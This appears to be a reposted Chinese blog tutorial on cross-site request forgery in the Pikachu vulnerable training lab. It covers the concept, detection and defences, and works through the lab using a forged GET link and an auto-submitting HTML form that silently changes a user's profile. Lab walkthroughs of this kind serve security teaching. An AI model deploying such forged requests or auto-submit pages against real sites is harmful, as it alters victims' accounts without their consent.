zoukankan      html  css  js  c++  java
  • pikachu--CSRF(跨站请求伪造)

    CSRF(跨站请求伪造)概述

    Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。

     

    CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

     

    如何确认一个网站存在CSRF漏洞:

    1.  一个网站对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。

          比如:修改管理员账号使,不需要验证旧密码

          对于敏感信息的修改并没有使用安全的token验证

    2.  确认凭证的有效期

    比如:虽然退出或者关闭了浏览器,但cookie仍然有效,或者session没有及时过期

    防范措施

       1.对敏感信息的操作增加安全的token;

            (对关键操作增加token参数,token值必须随机,每次都不一样)

        2.安全的会话管理,避免会话被利用

            (不在客户端保存敏感信息,比如身份认证信息;

                 测试直接关闭;

                 设置会话过期机制,比如15分钟内无操作,则自动登录超时)

       3.对敏感信息的操作增加安全的验证码;

           (一般在登录时候,也可以在其他重要信息操作的表单<要考虑到可用性>)

       4.对敏感信息的操作实施安全的逻辑流程,

            (修改密码时,需要先校验旧密码;

               敏感信息的修改使用post,而不是get;

             通过http头部中的referer来限制页面)

     

    CSRF(get)

     

    登录  修改一下个人信息

     

     

    通过抓包 (发现后台没有token, 通过get请求来提交修改信息)可以伪造一个链接(将地址改成了biejing ) 让vince去点击登录

    http://192.168.27.156/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18626545453&add=beijing&email=vince%40pikachu.com&submit=submit

    用户点击登录  就可以看到敏感信息已经被修改了

    CSRF(post)

    Post型的不能通过伪造url来进行攻击,跟xss里post型是一致的。攻击者搭一个页面,诱导用户点进来,当用户点击时会自动向存在csrf的服务器提交post请求来修改个人信息

     

    编写一个post.html页面,将这个页面放在放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后启动 apache 服务

    <html>
    
    <head>
    
    <script>
    
    window.onload = function() {
    
      document.getElementById("postsubmit").click();
    
    }         
    
    </script>
    
    </head>
    
    <body>
    
    <form method="post" action="http://192.168.27.156/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    
        <input id="sex" type="text" name="sex" value="girl" />
    
        <input id="phonenum" type="text" name="phonenum" value=" 123456" />
    
        <input id="add" type="text" name="add" value="beijing" />
    
        <input id="email" type="text" name="email" value="vince@pikachu.com" />
    
        <input id="postsubmit" type="submit" name="submit" value="submit" />
    
    </form>
    
    </body>
    
    </html>

    诱使用户点击这个链接,就可以修改信息了

    http://192.168.27.156/pikachu/doge_csrf/post.html

    CSRF-token

    CSRF的主要问题是敏感操作的链接容易被伪造,解决方法就是每次请求都增加一个随机码(长度足够,够随机),后台每次对这个随机码进行验证

    登录  修改信息  抓包

    可以看到多出来一个token,这个就代表一个随机值每次刷新出来的token值都是不一样的

    我们可以看一下这个页面访问的是token_get_edit.php  并且看页面代码也可以看到这个每次都有一个token值,再次刷新之后这个token值就会改变

  • 相关阅读:
    bat常用指令记录
    物料主数据MM01扩充时默认值的设置 BADI_MATERIAL_REF
    CK11,CK11N 成本估算数据读取
    VUE中具名插槽和匿名插槽的使用
    VUE+element页面按钮调用dialog
    线程进程随笔
    "反直觉" 的Unity粒子系统API
    一个RingBuffer(C语言)
    一个极其简单(陋)的内存分配器
    nginx 转发接口出现 403 forbidden
  • 原文地址:https://www.cnblogs.com/7-58/p/12360366.html
Copyright © 2011-2022 走看看